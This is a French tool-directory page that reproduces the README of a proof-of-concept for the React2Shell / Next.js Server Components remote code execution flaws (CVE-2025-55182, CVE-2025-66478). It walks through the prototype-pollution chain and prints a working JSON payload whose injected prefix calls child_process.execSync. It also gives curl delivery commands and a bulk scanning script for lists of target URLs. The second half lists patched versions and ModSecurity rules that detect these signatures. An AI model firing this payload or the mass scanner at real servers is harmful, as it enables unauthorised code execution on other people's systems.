Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-POC — MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478). Inclut une charge utile d'exploitation, un script de scan par lots et des règles ModSecurity WAF pour l'atténuation. | Kitploit
Outils/GitHubGitHub/huahuai23/cve-2025-55182-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478). Inclut une charge utile d'exploitation, un script de scan par lots et des règles ModSecurity WAF pour l'atténuation.

Voir le dépôt
12il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de reproduction de CVE-2025-55182 / CVE-2025-66478

Ceci est un MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478).

⚠️ Avertissement

Ce projet est destiné uniquement à des fins de recherche et d'éducation en sécurité. Ne l'utilisez pas en production ou sur des systèmes non autorisés.

Aperçu des vulnérabilités

CVE-2025-55182 est une vulnérabilité critique dans les React Server Components, affectant :

  • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js : ≥14.3.0-canary.77, ≥15, ≥16

Un attaquant peut exploiter une vulnérabilité de désérialisation dans le Flight Protocol via une requête multipart/form-data spécialement conçue, permettant une exécution de code à distance (RCE).

Principe de l'attaque

  1. Obtenir une référence de Chunk : utiliser la syntaxe $@N pour obtenir un objet Chunk interne
  2. Pollution du prototype : injecter une méthode then malveillante via
$1:__proto__:then
  • Déclencher l'exécution : l'action serveur appelle la méthode then polluée lors de l'await
  • Détournement du constructeur : détourner _formData.get en constructeur Function
  • Exécution de code : exécuter du code arbitraire via la désérialisation Blob
  • Démarrage rapide

    1. Installer les dépendances

    root@kitploit:~
    npm install
    # ou
    yarn install
    # ou
    pnpm install
    

    2. Démarrer le serveur de développement

    root@kitploit:~
    npm run dev
    

    Le serveur démarrera sur http://localhost:3000.

    3. Tester la vulnérabilité

    Utilisez le script de test fourni :

    root@kitploit:~
    # Test sur une cible unique
    ./test-exploit.sh http://localhost:3000
    
    # Ou directement avec curl
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    Si la vulnérabilité est présente, vous verrez une sortie similaire à uid= (résultat de la commande id).

    Structure des fichiers

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Actions serveur (point de déclenchement de la vulnérabilité)
    │   ├── page.tsx                # Page principale
    │   ├── layout.tsx              # Mise en page
    │   └── globals.css             # Styles globaux
    ├── package.json                # Configuration des dépendances (versions affectées)
    ├── next.config.js              # Configuration Next.js
    ├── test-exploit.sh             # Script de test de vulnérabilité pour une cible unique
    ├── scan-targets.sh             # Script de scan en masse
    ├── exploit-payload.txt         # Fichier de charge utile de l'exploit
    ├── Cve-2025-55182-modsecurity-rules.conf      # Règles de protection ModSecurity
    └── README.md                   # Ce fichier
    

    Description des scripts de test

    1. test-exploit.sh - Test sur une cible unique

    Teste si une URL unique présente la vulnérabilité :

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    Signature : si la réponse contient uid= ou gid=, la vulnérabilité est présente.

    2. scan-targets.sh - Scan en masse

    Scanne plusieurs URL cibles en masse :

    root@kitploit:~
    # Créer le fichier de liste des cibles
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # Exécuter le scan en masse
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    Les résultats du scan sont sauvegardés dans vulnerable_hosts.csv.

    Analyse de la structure de la charge utile

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // Détournement de la méthode then
      "status": "resolved_model",             // Contrôle du chemin d'exécution
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // Déclenche la désérialisation Blob
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // Détournement en Function
        }
      }
    }
    

    Points clés :

    1. $@0 : référence au premier champ form-data, obtient l'objet Chunk
    2. $1:proto:then : accès à Chunk.prototype.then
    3. _response._prefix : code malveillant injecté (exécuté par le constructeur Function)
    4. $1:constructor:constructor : Object.constructor.constructor = Function

    Solutions de correction

    Solution 1 : Mise à niveau vers une version corrigée (recommandée)

    • React : 19.0.1, 19.1.2, 19.2.1 ou ultérieur
    • Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 ou ultérieur
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    Solution 2 : Déployer les règles WAF ModSecurity (atténuation temporaire)

    Si la mise à niveau immédiate n'est pas possible, déployez les règles ModSecurity pour une atténuation temporaire.

    Apache + mod_security

    root@kitploit:~
    # 1. Installer mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. Copier le fichier de règles
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. Inclure les règles dans la configuration Apache
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # Ajouter : Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. Redémarrer Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. Installer ModSecurity pour Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. Copier le fichier de règles
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. Activer dans la configuration Nginx
    sudo vim /etc/nginx/nginx.conf
    # Dans le bloc http ou server, ajouter :
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. Redémarrer Nginx
    sudo systemctl restart nginx
    

    Signatures de détection des règles

    Les règles ModSecurity intercepteront les signatures suivantes :

    • ✅ Caractéristiques du Flight Protocol ($@N, $BN)
    • ✅ Pollution du prototype (__proto__, constructor:constructor)
    • ✅ Appels de modules Node.js dangereux (process.mainModule.require, require('child_process'))
    • ✅ Fonctions d'exécution de commandes (execSync, exec)
    • ✅ Manipulation d'objets internes (_response, _chunks, _formData, _prefix)
    • ✅ En-têtes de demande d'action serveur (Next-Action, RSC-Action-ID)

    ⚠️ Remarque : Les règles WAF ne sont qu'une mesure d'atténuation temporaire et n'offrent pas une protection complète. La mise à niveau vers une version corrigée est nécessaire.

    Recommandations de sécurité

    Si votre application est potentiellement affectée :

    1. Tester immédiatement : utilisez le script test-exploit.sh pour tester votre application
    2. Mettre à niveau immédiatement : mettez à niveau vers la version corrigée
    3. Rotation des clés : faites tourner toutes les variables d'environnement, clés API, mots de passe de base de données
    4. Auditer les journaux : vérifiez les journaux d'accès à la recherche de requêtes Next-Action suspectes
    5. Déployer un WAF : déployez les règles ModSecurity comme protection temporaire avant la mise à niveau

    Commande curl de test rapide

    Si vous souhaitez tester directement avec curl (sans script) :

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    Si le résultat contient uid= ou gid=, la vulnérabilité est présente.

    Références

    • Annonce officielle de Vercel
    • GHSA de React
    • GHSA de Next.js
    • PoC CVE (React)
    • Scanner CVE (Next.js)
    • Documentation ModSecurity

    Remerciements

    • Lachlan Davidson - a découvert et signalé la vulnérabilité de manière responsable
    • Meta Security & React Team
    • Vercel Team

    Licence

    Ce projet est destiné uniquement à des fins éducatives. Veuillez respecter les lois applicables lors de l'utilisation de ce code.

    Télécharger l’outil